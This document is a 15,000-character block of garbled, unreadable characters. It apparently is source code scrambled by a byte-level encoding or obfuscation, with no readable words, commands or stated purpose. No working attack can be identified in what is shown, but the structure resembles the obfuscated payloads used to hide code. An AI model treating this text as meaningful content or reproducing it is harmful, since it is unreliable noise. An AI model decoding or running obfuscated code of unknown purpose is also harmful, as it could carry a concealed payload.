W\0]G.-<?.;'OOAOOHHCOOG]SS]FFTeOKVYVOOOOOOROGFTeOOOO	OOOGWZ XG]]^YFG_G]]]]FFFOOOOKVYV42OOOROX[W	[X][		GFTeOOOOKVYV42OOORO.-<?.;'OAO]X_	G^YZ_FTeeee	OOG_G]]]\FG_GZWFFFOOOKVYV42ORO\\^WVV_	GFTeOOOO	 
OGKVYVOOOOOOKW ][FOOOOeOOOOOK
_
Z_ZOOROKW ][OOAOOO_G]]][FOOAOOOKVZ	TeOOOOOOO	OOOOG/_G]]]ZFGK
_
Z_ZFOOOIIOOOGFO/_G^XY]FGK
_
Z_ZFOOQO]X_	G]]^WFGFOOBOG\[YB^_YFFOO
TeeeeOOOO	 
OOGKVYVOOOKW ][FOOeOK 0_Y[OOOROOKW ][OOOAOOWZ XG]^_\FOOOAOOKVZ	TeO	OG/V[^_G]]]ZFGK 0_Y[FFOOeOOOOKWY]OOROOOOOGFOOOO/WZ XG^XY]FGK 0_Y[FTeOOO	OOOOGKWY]OOQOV[^_G]]^WFGFOBOGWY\_\DVXFOOIIOKWY]OOOSROOOV[^_G]]^WFGFOODOG][ZDZZFFO 
TeOOZ	VV0GK 0_Y[FTeOOeOOOKW]0^0[YX^OOOOOROOOOOOKW ][OAOOO_G^YZYFOAOKVZ	OAOOWZ XG]^Z^FTeO	OOOG/]X_	G]]]ZFGKW]0^0[YX^FOOIIOGFOOOO/WZ XG]]]YFGKW]0^0[YX^FOOOQOOG[V\DXFFOeOOOK	]0]XZOROOOOOOKW ][OOAOOOOWZ XG^YW_FOAOOOOKVZ	TeeOK	^^	
OOOOROO/]X_	G]]]XFGK	]0]XZFOOPOOWZ XG^V[_FGGFOO/V[^_G]]]WFGK	]0]XZFFOOOOOUOOOMMTeOOOOO	OOOOGK	^^	
ONRROOOMMOIIOWZ XG]]]\FGWZ XG]]]VFFOOIIO/Z0	
GKW]0^0[YX^FORRROK	^^	
FOOOOOeO/
OOKW]0^0[YX^TeO
TeOOOOOOOOeeeeOOO	OOOGK	^^	
ONRROOOMMFOOeOOOZ	VV0GKW]0^0[YX^FTee
GK	]0]XZCOOOOK	^^	
FTeOOeOOeO
GK 0_Y[COOKWY]FTeOO	OOOG_G]]]\FGWZ XGWVXFFFO/


0
G_G]]\_FFTe
^[YWGFTeOOOOG; 
OOOOOOK]WFOeeeeOOOOOZ[^YZZG]X_	G]]\^FCOOK]WFTeOOOOOOG*
 OOOOOOK]WFOOOOOOeOeOOeeOO	 OOOO][ \_GFeeeeeOeOO	OGN
	
GWZ XG]_W\FFFOO
TeOOOOO^\^ZY00^GFTeeOOKZ0_
 ^OOOROOOOWZ XG]_X_FG []]^
 XGFCO]X_	G]]\]FFTeOOOOOK^][XX ORO []]^
 XGFTeeeeOOOK 	X_OOROOOMMTeO	OG/V[^_G]]]XFGK^][XX FOIIO/WZ XG]]]YFGK^][XX FOQOG_W_D_Y_WFFOOOOOOeK^\_
WOROOOGFO/WZ XG]]]WFGK^][XX FTeOK_YZOOOORO_G]]]\FG]X_	G]]\\FFOOOOOPOOOOXX[WZGK^\_
WFOUOK^\_
WTeOO	OOOG]X_	G]]_^FGK_YZFOOOOIIOO_G]^YZFGK_YZFOOQOOG[Z\D[XFOIIOOOO
[X
 Z]Y
GK_YZFFOOK 	X_OOROK_YZTee
GK^\_
WCOK_YZFTeOOOOOOeOOOO	OOGK 	X_ORRROMMFOOeeOOOK]	__^
ZOOROOOOW
W\0]G.-<?.;'OOOOAOOO]X_	G]]\[FCOOOOOG_[D_YFFTeOOK ZW^VW[ZOOROOO]X_	G]]]\FG_G]^X_FFOOOOPOOO/
0  GK]	__^
ZCOOMMFOOUOOOOMMTeOOOOO	OOGNK ZW^VW[ZOOOOOOOO]X_	G]]\ZFGK ZW^VW[ZFOOSOOGV^XB[^XFFO
TeOOOOOK 	X_OOOROO V^^Y0\W G]X_	G]]\YFGK ZW^VW[ZFFTeO	OOGNK 	X_OOOOV[^_G]]\ZFGK 	X_FOOOOSOOOG_^Z\D_^FFOOOO
TeOOOO	OOOGN
[X
 Z]Y
GK 	X_FFOOeOZ[^YZZG_G^\_YFCOOOOOV[^_G]]\XFFTeO
TeOOeeeOOOOOOK	Z V^OOROOOO\\^WVV_	GFTeeeeOK0YX]_[OOROOOOOK	Z V^OAOOOO]X_	G]]\WFOAOOOKZ0_
 ^TeOK 	OOOROOK0YX]_[OOAOH@HOAOOKZ0_
 ^OOOOAOOOV[^_G]]\]FTeOOO	OOGN/]X_	G]]^[FGK0YX]_[FFOOOOO^GK0YX]_[COOOOG[YVD][FCO
FTeOOOKX
	]
OROO/WZ XG]]]XFGK 	FOOOPOGFO/]X_	G]]\VFGK 	FOOUOOOOOOMMTeOOOOK [_X	^]OROO	
TeOOO	OOGKX
	]
ONRROMMOOOOOIIOV[^_G]_^_FGWZ XGXZFCOOOOOWZ XG]][_FGKX
	]
CO_COGZ]Y]B^^YYFFCOK^^X]XFOOOOOIIO
 0 
GK^^X]X4^2COOOOV	_00YGFCOOHQHFFOOOOOK [_X	^]OORO
TeO
GK^^X]XFTeOO	OGNK [_X	^]OOOIIOGKX
	]
ORRROOOOMMOOOOOO]X_	G]^Y]FGXX[WZGKX
	]
FFOOONRROOOOWZ XG]^Y]FGK 	X_FFFOOOeOOOOOO	OOOOG]ZVGK 	COOOOO  	
_0VGK 	X_FFFOeeYXYW][GK 	COOG[_[D^YFFTeO^Z^V
V0GK 	FTeeOOOY
XGK 	FTeOOOeeee
GKX
	]
COOOOOK [_X	^]FTe	OOG_G]]]\FGV[^_G]^X_FFOOIIOOO]X_	G]][^FGV[^_G]][]FFFOeOK0
0
XXOROOKZ0_
 ^OOAOOOOH@HOOAOOKZ0_
 ^OAO]X_	G]]\]FTeeeeK
 Z_ _OOROO
0  G_GWZ^FCOOGFFTeO	OOGNWZ XG]^[\FGK
 Z_ _FFOK
 Z_ _OOOOROOOOGFTeOO	OOOGNV[^_G]][\FGK0
0
XXCOOOOOK
 Z_ _COO
FFOOeOOK
 Z_ _42OROOOOOK0
0
XXTeeeeOOOOO
0  G_GWZ^FCOOWZ XGY\YFGK
 Z_ _FFTeOOOOOOeOOeK0]
\OOROOO[\
W^^WGFTeO	OOOOOOG/V[^_G]]^[FGK0]
\FOOOOOO^GK0]
\COOOOOOG]_WD]WZFCOOOOO
FFOeOK0 0\V
OOOOOROOOK0]
\OAOOOH@HOAOKZ0_
 ^OAOO]X_	G]]\]FTeOOOOK_ \OOOOROOO/V[^_G]]]XFGK0 0\V
FOOOOPOOOOOOGFOOOO/_G]]\VFGK0 0\V
FOOOOOUOOOOMMTeOK _V]WOORO	
Te	OOGK_ \OOONRROOOMMOIIOOOWZ XG]_^_FG]X_	GXZFCOV[^_G]][[FGK_ \CO_COOG_W]WD_XWFFCOOK V	FOOOOIIO
 0 
GK V	4^2COV	_00YGFCOOOOHQHFFOOK _V]WOOROOOO
Teee
GK V	FTeOOO	OGNK _V]WOOIIOGK_ \OOORRROOMMOOOOOOOOO]X_	G]^Y]FGXX[WZGK_ \FFOONRROOWZ XG]^Y]FGK 	X_FFFOOOOOeOOO	OOOG]ZVGK0 0\V
COOO  	
_0VGK 	X_FFFOOeYXYW][GK0 0\V
COOG\Z\DYXFFTeO^Z^V
V0GK0 0\V
FTeOOOOOOOY
XGK0 0\V
FTeeeOeOOOOOO

	OOOGNK _V]WFOOOeKX_V\	Y_
OOOOROOO/_G^XY]FGK0 0\V
FTeeeOOOOO	OOGNKX_V\	Y_
OOOOOOGKX_V\	Y_
OOJOOOOGVVVX_D\_FFOONRRO\[[
VVGFFO^Z^V
V0GK0 0\V
FTeOOOO
GKX_V\	Y_
FTeOe
GK_ \COOOK _V]WFTeOeeeeOOOZ
GK 	X_FTeOOOOOOG; 
OOK]WFOOOeOOOOOOOZ[^YZZGV[^_G]][ZFCOOK]WFTeOOOOOOOOOOOOG*
 OOOK]WFOeeeOOOOOOOOeeeeOe	 OOOOXX	
  [X\GFeOOOOOeOOOOOOO	OOGN
GK0(*;4HH2FOOOON_G]]_^FGK0(*;4HH2FFOO
TeeOOOK
_\0OROOK0(*;4HH2TeOOOOO	OOOOGK
_\0ORRROY ZXV]	WZG]X_	G]][YFFFOOOeOOOOOOeOOKV XY^VOOOROX[W	[X][		GFOOOAOOOOH@HOOOAOOOOW
W\0]G.-<?.;'OAO]X_	G]][YFCOG\^1]\FFOAOO_G]]\]FTeeOOKV0\OROO/]X_	G]][XFGKV XY^VFOOPOGFO/_G]][WFGKV XY^VFOOUOO_Te	OGKV0\OOQOOOG_D_^\WFOOIIOOOOKV0\OOSROOOOOOGWV^[Z[\B\YX^YY\FFOOe
OOKV XY^VTeeeeOOOOOOOOOOG; 
OOK]WFOOeOOOG*
 OOOOOOK]WFOeeO
OOG]X_	G[[_FGFOQOO_OOOOOOIIOOOOO/ 0
0
GFFOOeOOOOOOOe

GWZ XG]][VFFTeOO
Tee	OOGK
_\0OOONRROY ZXV]	WZG]X_	G^\VYFFFO
TeeeeOOOeeOOO	OOOOG]X_	G]][^FGV[^_G]]Z_FFOIIOO]X_	G]]Z^FGWZ XG]][]FFFOeO/
0  GV[^_GZ[ZFCOOGFOO/
0  G]X_	G]]Z]FCOOOO_FOODOOO^COOOOOWZ XG]]Z\FFTee/
0  G_G]]Z[FCOO_G]]^WFGFCOO_G]]Z\FFTeeOOOOOOOOeeeeOKZ\[W][
OROOOOOX\VXGV[^_G^\WWFCOOOMMFTeOO	OOOOOG]X_	G]]ZZFGKZ\[W][
FOQOG^]^B]^FOIIOONWZ XG]_^_FGWZ XG]]ZYFCOKZ\[W][
FOOOIIOV[^_G]_^_FG]X_	G]]ZXFCOOKZ\[W][
FFOOeeeK
[Y\OORO/V[^_G]]\YFGKZ\[W][
COO
FTeeeeO	OOOOOGK
[Y\OOOOOONRROOOOOO	
OOOIIOOOOWZ XG]]ZZFGK
[Y\FOOOQOOG^[WB[WFFOKZ\[W][
OROOK
[Y\TeOeOO	OOOOGWZ XG]]ZZFGKZ\[W][
FOOOOSOOOG_\]D_\]FFOOOOKZ\[W][
OROOZ _0]
_[0
GFTeeeeOOOOOO	OOGWZ XG]]ZWFGKZ\[W][
FOOOOSOOOGXWD]]FFOeOOOOOOO
OOGWZ XG[[_FGFOQOOO_OIIOO/ 0
0
GFFOOOeOOeOOOO

G_G]]ZVFFTeOOOOOOOO

GV[^_G]]Y_FFTeOO

GWZ XG]]Y^FFTe
TeOeKY0_0	OOOROX\VXG]X_	G^\W_FCOOOOOOMMFTeOOOOOKZ\[V]OROOHMHOOAO_G]^Y]FGKY0_0	OOOAOOKZ\[W][
FOAOOOOHMHTeOO	OG
GK0<*=9*=4WZ XG]]Y]F2FOIIOOV[^_G^V[_FGK0<*=9*=4V[^_G]]Y]F2FOOOORRROOOOKZ\[V]FOe
OG]X_	G[[_FGFOQOO_OOIIO/ 0
0
GFFOeeeOOOeOOO

G_G]]Y\FFTeOOO

G]X_	G]]Y[FOOAOOOKZ\[V]FTe
TeOe
OOOGWZ XG[[_FGFOQOOOO_OIIOO/ 0
0
GFFOOOOOeOOOOOOe

GV[^_G]]ZVFFTeOO

GWZ XG]]YZFFTe

GWZ XG]]YYFFTeee

G_G]]Y[FOOOAOOOKZ\[V]FTeO
 OOKY0_0	OOAOOOOOKZ\[W][
TeOOO
TeOOOOOOOOOOG; 
OOOK]WFOOOOOeeeOZ[^YZZGWZ XG]]YXFCOK]WFTeeOOG*
 OOOK]WFOeOOOOZ[^YZZGV[^_G]]YXFCOOOK]WFTeOOOOeOOeOOXX	
  [X\GFTeOOOOOOO	 O[Z
X[ YY^0WGFeOOOOOOOeO	OOGN
GK0(*;4V[^_G]]YWF2FFO
TeOOOOOOOOeeeOOOK_\ ZOOOROK0(*;4WZ XG]]YVF2TeeeeO	OGNWZ XG]]X_FGK_\ ZFOOOOOOOK_\ ZOOOOOORRROMMFOO
TeOOOOK_\ ZOOOOOOROO]X_	G^]X\FGK_\ ZFTeOOK[	V0OOROOOOGFTeOOO	OOGWZ XG]]Z^FGV[^_G]]X^FFFOOOOK[	V042OROOOOOGFOO]X_	G^\Y\FG 
0GFCOOO?'?0:=#0' <;FTe	OGWZ XG]]Z^FGWZ XG]]Z_FFFOOeOKY
\\ZOOOROOOGFOOOO/
0  G]X_	GY]XFCOOMMFTeO	OOOOOOGKY
\\ZOOONRROOOMMFOOOK[	V042OOOROGFOOO]X_	G^\Y\FGKY
\\ZCOOO?'?0:=#0' <;FTeOe	OG
GK0<*=9*=4V[^_GY]VF2FFOOOOOK[	V042OOOROOGFOOOOK0<*=9*=4WZ XG]]X]F2TeOOOOOK[	V042OOROOOO[WV		0VGMMFTeOOOK
X[^Z OOOOROO	
TeOO	 
OOG]X_	G]__VFGK[	V0FOOOOOKXV\W_0\
XFOOeO	OOOOGN_G]]X_FGKXV\W_0\
XFOOOOOOOKXV\W_0\
XOORRROOOMMFOO 
TeO	OOOOOGWZ XG]]_\FGKXV\W_0\
XCOHUHFOONRRO	
FOOOOOKXV\W_0\
XOOROO_G]^WVFG_G]]X\FCOMMCOKXV\W_0\
XFTeeeOO	OOOGW
W\0]G_G^]X\FGKXV\W_0\
XFOAOOOV[^_G]]X[FCOGW[1WWFFOORRROK_\ ZFOOOOeOOOK
X[^Z OOOROO
Teeee
TeOOeOOOOOOeO	OGNK
X[^Z FOOOOO
TeeeeOK[_VOOOROOWZ XG]]XZFGV[^_G]]XYFCOG_^_D_
FFTeeeeOK000
^OORO V^^Y0\W G_]
 [GK[_VFFTeO
OOGWZ XG[[_FGFOQO_OOOIIOO/ 0
0
GFFOOeOeOOOO

GV[^_G]]XXFFTeO

GWZ XG]]XWFFTeOOOO
 OGK000
^OOORRROOOOOK[_VFOPOWZ XG]]XVFOOOAOOWZ XG]^Y]FGK[_VFOOOUOV[^_G]]W_FTeOOOOO
TeeeeOOOOOOOOG; 
OOOOOK]WFOOOeeZ[^YZZGWZ XG]]W^FCOOOK]WFTeOOOOOOOG*
 OOOK]WFOOeeeOOOZ[^YZZGWZ XG]]W^FCOOOOK]WFTeeOOeO[Z
X[ YY^0WGFTeO	 OOO^W_Z\0GFeOOOOOOeOOOOeOOOOOOO	OOOOGWZ XG]]W]FGWZ XG]]W\FFFOO 
0
0 GFTeOOOOO	OGV[^_G]]W[FG_G]]WZFFFOOO\0	0GFTe	OOOG_G]]W[FGV[^_GZV_FFFOOOOOO0

0
0
GFTeeeOOOO	OGWZ XG]]WYFGWZ XG]]WXFFFOO


0
0GFTeeeeOOOOOOO

	OG]X_	G^_Z[FG]X_	G]]WWFFOOIIOOO]X_	G]]WVFGWZ XG]]V_FCOO_G]]V^FFFOOO#
<

0,
0.?&UU
0GFTeOOOOO	OOOGV[^_G^_Z[FGWZ XG]]V]FFOOOOOIIOOOOV[^_G]]V\FG_G]]V]FCOOOOOWZ XG]]V[FFFOOO-


0?
,
UU


0
0	GFTeeO	OOOOG_G^_Z[FGV[^_G]]VZFFOIIOOOV[^_G]]V\FGWZ XG]]VYFCOOOOOV[^_G]]VXFFFOO,
0*
UU
0 0
GFTeeOOOOO	OOG_G]]VWFGWZ XG]]VVFFFOOOO	0
00
GFTeOOO

	OOOOG
GK(# -.#<4]X_	G]\__F2FOOIIOOOOO]X_	G]\_^FGK(# -.#<4V[^_G]\__F2FOOIIOOOOWZ XG]]V\FGK(# -.#<4WZ XG]\_]F2COOOOWZ XG]\_\FFFOOOOK(# -.#<4V[^_G]\_]F2BQ


,
G
FTe	OOOOGWZ XG]]VWFGV[^_G]\_[FFFOOOOO0
0
0
GFTeO	OG]X_	G^_Z[FG]X_	G]\_ZFFOOIIO_G]]V\FGV[^_G]\_YFCOOO]X_	G]\_XFFFO 
,
UU
GFTeZ[^YZZG]X_	G]\_WFCOOO_G]\_VFFTeOOOOOOG; 
OOOK]WFOeZ[^YZZG_G]\_WFCOOOOK]WFTeOOOOG*
 OOK]WFOOOeOOOOOOOeOeeee	 O[	Y

YGFeOOOOOOOOeO	OOGV[^_G]]VWFG_GV_[FFOIIO0GFFOO
OOO
TeOO	OGV[^_G]]VWFG_G]\^_FFOIIOOO0 0GFFO
OOOO
Te	OOOG
	
G]X_	G]\^^FFOIIOOOO=*<;0=*>:*<;FO
OOOO
Te	OOOOOOG
	
GWZ XG]\^]FFOOIIO7"#=?,0=*>:*<;FOO
OO
TeOO	OOOOG]X_	G]\^\FGV[^_G]\^[FFOOIIOOOO0	

GFFO
OOOO
TeOOO	OOG_G]\^\FGV[^_G]\^ZFFOOOIIOO0  GFFO
OOOOO
TeOOOOO	OG_G]\^\FG]X_	G]\^YFFOOIIO0
GFFO
OO
TeO	OOOG_G]\^\FGV[^_G]\^XFFOOOOOOIIOO0 
0

GFFO
OOO
TeOO	OOG
GK0(*;4]X_	G]\^WF2FOOOOO
GK0(*;4]X_	G]\^VF2FOOOOOO
GK0(*;4_G]\]_F2FFOO
OOOO
TeOOO
OOOOOO	
TeOeO	 OZ
YY]]XW	GFeeOOOK0	0W\0OOOOROOG
GK(# -.#<4WZ XGX_YF2FOIIOO]X_	G]]X_FGK(# -.#<4_GX_YF2FFOPOO]X_	G^V[_FGK(# -.#<4V[^_GX_YF2FOOUOOMMTeOOO	OOGK0	0W\0OOORRROOOMMFO
OOOOMMTeeeeOOOK0	0W\0OOROOO_G^[_^FG_G]\]^FCOWZ XG]\]]FCOOOK0	0W\0FTeK[VOOOROO]X_	G]\]\FG_G]\][FFOOPOOGFOOWZ XG^\Y\FG 
0GFCOOO?'?0:=#0' <;FOUOOMMTeeeOOK [_V_OROW
W\0]G]X_	G^]X\FGK[VFCOOG\D\FFTeeOOK[
		 0
ZOOROWZ XG]][[FG]X_	G]\]ZFGK0	0W\0FCOOOO_COG[D]FFTeOOOOO
OOM3SOBR3MMOOAOOOOK [_V_OOOOAOOOHBHOAOOOK[
		 0
ZOAOM3MQ3MOOOAOOK0	0W\0OOOAOM3S@Q3SNBBOMOOAOOK [_V_OOAOOOHBHOOOOOAOOOOK[
		 0
ZOAOOOMOBBQ3MTee	 OOOOO
[V^GFeOeOOOOOOeO	OOOG[	Y

YGFFOOO
TeKY]  OOOROZ
YY]]XW	GFTe	OOOOOGKY]  OOOOORRROOOMMFOOOOO
TeeeOOOOO
 OOKY]  TeOK(# -.#<4]X_	GZ\WF2OROOOOOO
TeOOOO	OOOOGWZ XG]\]YFGV[^_G]]Z_FFOOIIOO_G]\]YFG]X_	G]\]XFFOOOOIIOOOO
GK(# -.#<4_G]\]WF2FFOeOOOOOOK(# -.#<4WZ XG]\]WF2OROOOOO
TeOK]W\OROOOGFOOOO/
0  GWZ XGZ[]FCOOOO_FTee	OG_G]]^WFGFOBOK]W\OQOOOG_YVD_\FFOOO/
0  G]X_	GZ[]FCOOOO]X_	G]]^WFGFCOOWZ XG]]Z\FFTe
GK]W\FTeOOOOeeeeOOOOOOOOOOOOG; 
OOOOK]WFOeeeeOZ[^YZZGWZ XG]\]VFCOK]WFTeOOG*
 OOK]WFOOeOOOeeeeOOOOOe	 OO\ZZY\ZGKYWW\FeeeOOOOeOOOOOOO	OOOOOGNWZ XG]]X_FGKYWW\FOOOKYWW\ORRROOMMFO
OOOKYWW\TeOO	OOOGN
GK(# -.#<4WZ XGZ\WF2FFO
OKYWW\TeOOKY]  OOOROOOOOZ
YY]]XW	GFTeOOOO	OOGKY]  ORRROMMFOO
OOKYWW\TeO	OOOOG GKYWW\COOOOV[^_G]\\_FFOORRRO	
OOOOIIOOOO GKYWW\COOV[^_G]\\^FFOOORRROOO	
FOO
OOKYWW\TeOK(# -.#<4_GZ\WF2OROO
TeOOK(# -.#<4]X_	GZ[_F2OROOOOO
TeOOOK0V0	W_OOORO GKYWW\COOOOO]X_	G]\\_FFTeOOO	OOGK0V0	W_OONRROO	
FOOeeOOO
OOWZ XG]\\]FGKYWW\COOO_COOK0V0	W_FOOAOKY]  OOOOAOOOWZ XG]\\]FGKYWW\COOK0V0	W_FTeee
OOKYWW\OOOAOKY]  TeeOOO	 OOOY	YY_VGFeOOOOOeeOeOOOO	OOG[	Y

YGFFOO
TeOO	OGN
GK(# -.#<4WZ XG]\\\F2FFO
TeOOOOK0	0W\0OROOOOG
GK(# -.#<4_GX_YF2FOIIO]X_	G]]X_FGK(# -.#<4V[^_GX_YF2FFOOOPOOOV[^_G^V[_FGK(# -.#<4]X_	GX_YF2FOUOOMMTe	OOOGK0	0W\0ORRROOOMMFOO
TeOOOOK(# -.#<4WZ XG]\\[F2OORO
Te/_G]\\ZFG]X_	G]\\YFFTeeeOOOOOOOOOG; 
OK]WFOOeOZ[^YZZG_G]\\XFCOOK]WFTeeeeOOOOOOOOOOOOOOG*
 OOOOK]WFOOOOOOeOOOeeOOOOee	 OY	\[Y[GFeOOeOOOOOOOeO	OOGN0GFOIIOOOGN
GK(# -.#<4WZ XG]\\WF2FOOOOOOK(# -.#<4V[^_G]\\WF2OOOONRROOWZ XGY^YFFFO
Tee	OOOGV[^_G]\\VFG_G]\[_FFOOOOIION0GFFO
TeOOOOK_^OOOROOX\VXGWZ XG^\WYFCOOMMFTeOOOOK [_V_OOOROOOW
W\0]G.-<?.;'OOOAOOV[^_G]\]VFCOOOGZD^FFTeeeOK_]Z]OOORO_G]\[^FTe	OOOOGK_^ORRROOMMFOeOO	OOOOOG_G]\\VFGV[^_G]]Z_FFOIIOOOOGFO/
0  G]X_	GZZ_FCOOOOO_FFOeOOO/
0  GWZ XG]\[]FCOO_COOO]X_	G]\[\FFTeOOK[
^^0	[OOROOGFOO/
0  GV[^_G]\[[FCOOMMFTeO
 OOM3MOAO_G]\[ZFOOAOK [_V_OAOHQHeOOOOAOO]X_	G]\[YFeeOAO]X_	G]\[XFOAOK_]Z]GV[^_G]\[WFFOOAOOOOOOWZ XG]\[VFeOOOAOWZ XG]\Z_FOOAOWZ XG^XZ\FGK[
^^0	[FOOOOOAOOOHTHeAOOOOO_G]\Z^FOAOK_]Z]GV[^_G]\Z]FFOOAOOOO_G]\Z\FeOOOOOOOOAOOOOWZ XG]\Z[FOOOAOOK_]Z]GWZ XG]\ZZFFOOAOOWZ XG]\ZYFOOAOOOOOK_]Z]G_G]\ZXFFOOOOOAOOWZ XG]\ZYFOAOOK_]Z]G_G]\ZWFFOOOOOOAOOOOWZ XG]\ZVFOAOOOK_]Z]GWZ XG]\Y_FFOAO]X_	G]\Y^FeOOAO_G]\Y]FOOOOOOAOOOK_]Z]G]X_	G]\Y\FFOAO]X_	G]\Y[FOOOOOAOOOK_]Z]GWZ XG]\YZFFOOOOOAOOOWZ XG]\YYFeOOAOWZ XG]\YXFOOOAOM3MTee
GK[
^^0	[FTeOe
TeOOOOeK_^OOROOWZ XG^[_^FGWZ XG^\Z\FCOOO_G]\YWFCOOOOK_^FTe	OOGWZ XG]\YVFGK_^COV[^_G]\YWFFOOOONRROO_FOOOOOK_^ORO_G]\YWFOOOAOWZ XG]\X_FGK_^COOOOOH@HFTeOOOOK
\__ V	]OOOOOROOOH@HTeeOO	OOOGV[^_G]\\VFGV[^_G]\][FFFOeK _[\YXOROOGFOOO_G^\Y\FG 
0GFCOO?'?0:=#0?.;'FTeeeOO	OOGK _[\YXOOONRROMMOOIIOOOOK _[\YXONRROOH@HFOK
\__ V	]OOOROOOWZ XG^V[XFGK _[\YXCOOOOH@HFOOAOOH@HTeOOeO	OOOGV[^_G]\\VFG_G]\X^FFFOOeO/
0  GWZ XG]\[]FCOOO^COO_G]\[\FFTeOO/
0  GWZ XG]\[[FCOOOOK_^COWZ XG]\[\FFTeeOOOOOKXY0^Y\\OROOOO_G]\[ZFOAOOOOK [_V_OOAOOOHQHeAOOO_G]\X]FeOOAOOWZ XG]\[XFOOAOK_]Z]GWZ XG]\X\FFOOAOOV[^_G]\X[FeOOOAOOOOWZ XG]\XZFeOOAOV[^_G]\XYFOOAOOK_]Z]GV[^_G]\XXFFOOOOAOOOOOV[^_G]\XWFOOOOAOO]X_	G^XZ\FGK_^FOOAOOHFHeeeeOAO]X_	G]\XVFOOOOAOOK_]Z]GWZ XG]\W_FFOOOAOOOO]X_	G]\W^FOAOOOOOO]X_	G]\W]FGK_^FOOOAOOOOOV[^_G]\W\FOOOAOOWZ XG]\W[FGK
\__ V	]FOAOOOO_G]\WZFOAOOOOK_]Z]GV[^_G]\YZFFOOAOOWZ XG]\WYFeeeeOAOOOO]X_	G]\WXFOOOAOOOOOK_]Z]GV[^_G]\YZFFOOAOOO_G]\WWFeeOOOOAOOO_G]\XYFOAOOK_]Z]G]X_	G]\WVFFOOOOAOV[^_G]\V_FOOAOK_]Z]G]X_	G^ZVFFOOAOOV[^_G]\V^FeeeeOOOAOO]X_	G]\V]FOOOAOOK_]Z]G_G]\V\FFOAO_G]\X[FeOAOOO]X_	G]\V[FeOOOAOWZ XG]\XYFOOAOOOOK_]Z]G]X_	G]\VZFFOOAO_G]\VYFeOOOOOOOOAOOV[^_G]\VXFOOAOK_]Z]GWZ XG]\ZZFFOOAOOV[^_G]\VWFOAOOOOK_]Z]GV[^_G]\VVFFOAOOOOOOV[^_G][__FeOOOOOAOO_G]\YXFTeOOOOOO
 OOOOM3MOAOOKXY0^Y\\OOAOOOOOM3MTeOOOOOOOOG; 
OOOK]WFOOOeOOZ[^YZZG_G][_^FCOOK]WFTeeeOOOOOG*
 OOK]WFOeOOZ[^YZZG_G][_]FCOOK]WFTeeeeOOOeeeeOOOOOOOeeeOOee	OOOOGYXZ\Z	Y	GFFOOOOeOO
TeOeOOOOV0^GFTeKZXZ	OOROOO/WZ XG][_\FG []]^
 XGFFTeOOO	OOGNKZXZ	OOOOGKZXZ	OOJOOOGVVV\WDY]FFOOOONRROOO\[[
VVGFFOOOOeeeeOK\^OOOOOROOOOO_G]]^WFGFTeO[ZX_\]VG []]^
 XGFCOGK\^OOBOOGK\^OOOOJOOOGVVVXXD]\FFFOOODOO\[[
VVGFFTeO
GK\^FTeOeeOOOO
GKZXZ	FTeOOeKZ\XWOROOO00)&#*00TeOOKY
	0X[[WOOOOROMMTeOOK
0Y[VW
^OOOOOORO/V[^_G]]\VFGKZ\XWCOO	
COOOOOCO_COOOOOOG_XXYD_WWFFTeeeeOOOOOO	OOOOG_G]]X_FGK
0Y[VW
^FOIIOOOOWZ XG]_^_FGWZ XGXZFCOOK
0Y[VW
^COOOK
_VYY0V]FFOOOOKY
	0X[[WOOROK
_VYY0V]4^2TeeeeOOOO	OGKY
	0X[[WOONRROOOMMOIIO
	
G]X_	G]^X^FFFOeOK0ZZOROGFTeOOOOOK000 ^OOOOOOROOOOO
	
GWZ XG][_[FFOOOOPOO8?":0?#:(&!0+&=OOOOUO8?0, !;*!;0+&=OAOOV[^_G^YYVFTeOOOK	 0_]	OOROO
	
G_G][_ZFFOOOOPOO8?0?#:(&!0+&=OOOUO8?0, !;*!;0+&=OOOOOOAOOOOOV[^_G][_YFTeOOOK ][VOOROOO	
TeO	OG]X_	G][_XFG]X_	G]^^\FFFOOOOOeOOK[ Y\OOOOOROOO/V[^_G]]^[FGK000 ^FOOPOOOO/V[^_G]^^\FGK000 ^OAOWZ XG][_WFFOUOO	
TeeeOK0Z  	OOROOOOOO/V[^_G][_VFGK	 0_]	OOOOAO_G[V[FFTeeeO	OOG]X_	G]^[\FGK[ Y\FOO]X_	G][^_FGK0Z  	FFOOOeOK ][VOOOOROOOOOO
Te	 
OGGFOOOOOK[ Y\OOOOOOK
0ZFOOOOK0ZZ42OOOOOROOK
0ZTee	 
OGGFOOK0Z  	OOOOOK
0ZFOK0ZZ42OROOK
0ZTeeeO
GK[ Y\COOOK0Z  	FTeeOeOOOOOO	OOGNK ][VFOOOOOeOOOOKW^_YOOROO/WZ XG]]^[FGK000 ^FOPOOO XZWV	[YGK000 ^FOOOUOO	
Teeee	OOOOOGV[^_G][^_FGKW^_YFFOOOO	 
OOGKW^_YOOOOKZXZ	ZFOOeO	OOOGWZ XG][^^FGKZXZ	ZCOOBG_^D_\FFOORRRO_G]]\]FFOOK0ZZ42OROK000 ^OOOOAOH@HOAOKZXZ	ZTeeOOOOKW^_YOOOOROOO/WZ XG]]^[FGK	 0_]	FOOOPOOO XZWV	[YGK	 0_]	FOOOOUOOOOO	
Te	OOOOG_G][^_FGKW^_YFFOO	 
OOOOOGKW^_YOOOOOOKZXZ	ZFOeKZW]XZVOOROOOK	 0_]	OOAOH@HOOOAOKZXZ	ZTeOO	OOOGN/_G][^]FGKZW]XZVFFOO 
TeOOKV0XVOOOOROO XZWV	[YGKZW]XZVFTeOOO	OOOGN_G][^_FGKV0XVFFOO 
Te	 
OOOOOGKV0XVOOOOOOOOK^FOOeOOO	OOOOGWZ XG][^^FGK^COOOBG]D]FFOOORRRO]X_	G][^\FFOOK0ZZ42OROKZW]XZVOOOOOAOOOOH@HOOAOOOOOK^TeOeeO
GKW^_YCOOKZXZ	ZCOOK^COKZW]XZVCOOKV0XVFTeeOOKYW]W OOROOOOV[^_G]_X_FGKZ\XWCOOO]X_	G][^\FFTe	 
OGK0ZZOOK
0ZFOOOe	OOOOOGK
0ZOORRROOKZ\XWFOOOO 
TeeeeOOOK^]V]X\Y
0	OROOO/_G][_\FGK
0ZFTe	OOOOGNK^]V]X\Y
0	OOOOOGK^]V]X\Y
0	OOOJOGW__Y[D^VV\YFFONRROOOG_^_Z_VD_YVX]FFOeOOOOOOKV	
Z	OOOOROO/_G]][WFGK
0ZFTeO	OOOGNKV	
Z	OOOKV	
Z	OOOOOSOOOOG[Z\D[XFOOOOOKV	
Z	OOOOOQOOGZ][]WXYWD\]FFOOO 
TeOeOOOOOOOK
0Y[VW
^OOOOROO/WZ XG]]\VFGK
0ZCO	
COOCO_COG[_^WDXWFFTeOOOOOOO	OOOGNWZ XG]]X_FGK
0Y[VW
